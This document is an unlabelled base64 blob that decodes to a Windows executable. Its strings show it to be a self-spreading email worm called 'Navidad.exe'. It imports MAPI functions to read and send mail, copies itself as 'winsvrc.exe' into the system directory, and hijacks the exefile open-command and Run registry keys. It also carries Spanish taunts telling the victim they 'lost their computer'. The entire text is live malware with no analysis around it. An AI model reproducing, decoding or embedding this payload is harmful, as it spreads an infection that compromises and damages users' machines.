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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADCWAAA0FgAAORYAAD0WAAABlkAAAAAAACIVgAAtFYAAMpWAADWVgAA mFYAAKhWAAAEVwAAEFcAABxXAAB2VgAAZlYAAFRWAADuVgAA4lYAAEhWAABsWQAAWlkAAExbAAA8 WwAALFsAABZbAAAKWwAAAFsAAPRaAADmWgAA1loAAMpaAAC+WgAAsloAAKRaAACWWgAAiFoAAHpa AABeWwAAflkAAD5aAAAmWgAAWFoAAPZZAADcWQAAEFoAAEZZAABqWgAAwFkAAJhZAACMWQAArFkA AAAAAAAmWQAAAAAAADhXAABGVwAAqlgAAFJXAABmVwAAmFgAAIZYAABsWAAAXlgAAExYAAA+WAAA LlgAACJYAAAWWAAABlgAAPRXAADkVwAA1lcAAMJXAAC0VwAAoFcAAJJXAAB6VwAAAAAAAP////91 HEAAiRxAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAA AABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAA AFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAA UjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABS NjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8g b3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0K AAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2 DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1l bnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQot IGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50 aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dy YW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVz c2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAD/////5UBAAOlAQAD/////mUFAAJ1BQAD///// HUNAACFDQAAgVQAAAAAAAAAAAAAqVwAAGFAAAOhVAAAAAAAAAAAAALZYAADgUAAACFUAAAAAAAAA AAAAGFkAAABQAADgVQAAAAAAAAAAAAA6WQAA2FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwlgAANBY AADkWAAA9FgAAAZZAAAAAAAAiFYAALRWAADKVgAA1lYAAJhWAACoVgAABFcAABBXAAAcVwAAdlYA AGZWAABUVgAA7lYAAOJWAABIVgAAbFkAAFpZAABMWwAAPFsAACxbAAAWWwAAClsAAABbAAD0WgAA 5loAANZaAADKWgAAvloAALJaAACkWgAAlloAAIhaAAB6WgAAXlsAAH5ZAAA+WgAAJloAAFhaAAD2 WQAA3FkAABBaAABGWQAAaloAAMBZAACYWQAAjFkAAKxZAAAAAAAAJlkAAAAAAAA4VwAARlcAAKpY AABSVwAAZlcAAJhYAACGWAAAbFgAAF5YAABMWAAAPlgAAC5YAAAiWAAAFlgAAAZYAAD0VwAA5FcA ANZXAADCVwAAtFcAAKBXAACSVwAAelcAAAAAAAApA2xzdHJjbXBBAABdAUdldFByb2ZpbGVJbnRB AACPAUdldFZlcnNpb25FeEEAUwFHZXRQcm9jQWRkcmVzcwAA3wFMb2FkTGlicmFyeUEAAI8CU2V0 RXJyb3JNb2RlAAAvA2xzdHJjcHlBAAA4AUdldE1vZHVsZUZpbGVOYW1lQQAANQNsc3RybGVuQQAA MgNsc3RyY3B5bkEAJgNsc3RyY2F0QQAAcAFHZXRTeXN0ZW1EaXJlY3RvcnlBACsAQ29weUZpbGVB ACwDbHN0cmNtcGlBAIwARXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAACMAERlc3Ryb3lJY29uAJ4B TG9hZEljb25BAJUARGlzcGF0Y2hNZXNzYWdlQQAAggJUcmFuc2xhdGVNZXNzYWdlAAB/AlRyYW5z bGF0ZUFjY2VsZXJhdG9yQQAqAUdldE1lc3NhZ2VBAJYBTG9hZEFjY2VsZXJhdG9yc0EAqwFMb2Fk U3RyaW5nQQDzAVJlZ2lzdGVyQ2xhc3NFeEEAAJoBTG9hZEN1cnNvckEAkQJVcGRhdGVXaW5kb3cA AFkAQ3JlYXRlV2luZG93RXhBAI4ARGVzdHJveVdpbmRvdwC7AEVuZFBhaW50AACvAERyYXdUZXh0 QQDwAEdldENsaWVudFJlY3QADABCZWdpblBhaW50AACEAERlZldpbmRvd1Byb2NBAAC+AU1lc3Nh Z2VCb3hBAAACUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAA4AFQb3N0UXVpdE1lc3NhZ2UAkwBEaWFs b2dCb3hQYXJhbUEAuQBFbmREaWFsb2cAVVNFUjMyLmRsbAAAWwFSZWdDbG9zZUtleQB7AVJlZ1F1 ZXJ5VmFsdWVFeEEAAHIBUmVnT3BlbktleUV4QQCGAVJlZ1NldFZhbHVlRXhBAABfAVJlZ0NyZWF0 ZUtleUV4QQBBRFZBUEkzMi5kbGwAAHkAU2hlbGxfTm90aWZ5SWNvbkEAU0hFTEwzMi5kbGwAOgFH ZXRNb2R1bGVIYW5kbGVBAABmAUdldFN0YXJ0dXBJbmZvQQDaAEdldENvbW1hbmRMaW5lQQCOAUdl dFZlcnNpb24AALQBSGVhcEFsbG9jAMsCVGVybWluYXRlUHJvY2VzcwAACQFHZXRDdXJyZW50UHJv Y2VzcwDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdz QQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVu dmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAJgCU2V0SGFuZGxlQ291 bnQAAGgBR2V0U3RkSGFuZGxlAAAoAUdldEZpbGVUeXBlALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3Jl YXRlAADxAlZpcnR1YWxGcmVlALoBSGVhcEZyZWUAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlAO4C VmlydHVhbEFsbG9jAAC9AUhlYXBSZUFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9F TUNQAAACAk11bHRpQnl0ZVRvV2lkZUNoYXIA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdX AABpAUdldFN0cmluZ1R5cGVBAABsAUdldFN0cmluZ1R5cGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFjZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MQAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE1lc3NhZ2luZyBTdWJzeXN0ZW0AAE1haWwA AAAATUFQSQAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSURldGFpbHMATUFQSUFkZHJlc3MATUFQSUZy ZWVCdWZmZXIAAE1BUElEZWxldGVNYWlsAABNQVBJU2F2ZU1haWwAAAAATUFQSVJlYWRNYWlsAAAA AE1BUElGaW5kTmV4dAAAAABNQVBJU2VuZERvY3VtZW50cwAAAE1BUElTZW5kTWFpbAAAAABNQVBJ TG9nb2ZmAABNQVBJTG9nb24AAABNQVBJMzIuRExMAABOYXZpZGFkLmV4ZQBUZSBlc3RhbW9zIG1p cmFuZG8uLgAAAAAgIiUxIiAlKgAAAABcd2luc3ZyYy5leGUAAAAAZXhlZmlsZVxzaGVsbFxvcGVu XGNvbW1hbmQAAFdpbjMyQmFzZVNlcnZpY2VNT0QAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc Q3VycmVudFZlcnNpb25cUnVuAAAAXHdpbnN2cmMudnhkAAAAAExvIGVzdGFtb3MgbWlyYW5kby4u LgAAAFVJAABubwAARHVsY2U/AABTT0ZUV0FSRVxOYXZpZGFkAAAAAHRjbGljawAAVGFza2JhckNy ZWF0ZWQAAGJ1ZW5hIGVsZWNjaW9uLi4uAAAATGFtZW50YWJsZW1lbnRlIGNheW8gZW4gbGEgdGVu dGFjaW9uIHkgcGVyZGlvIHN1IGNvbXB1dGFkb3JhAAAAAEZlbGl6IE5hdmlkYWQAAACPHUAAAgAA AAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADA CAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACT AADACAAAAAAAAAADAAAABwAAAAoAAACMAAAA/////wAKAAAQAAAAIAWTGQAAAAAAAAAAAAAAAAAA AAACAAAAsFNAAAgAAACEU0AACQAAAFhTQAAKAAAANFNAABAAAAAIU0AAEQAAANhSQAASAAAAtFJA ABMAAACIUkAAGAAAAFBSQAAZAAAAKFJAABoAAADwUUAAGwAAALhRQAAcAAAAkFFAAHgAAACAUUAA eQAAAHBRQAB6AAAAYFFAAPwAAABcUUAA/wAAAExRQAD4AwAAAAAAAAECBAgAAAAApAMAAGCCeYIh AAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAA 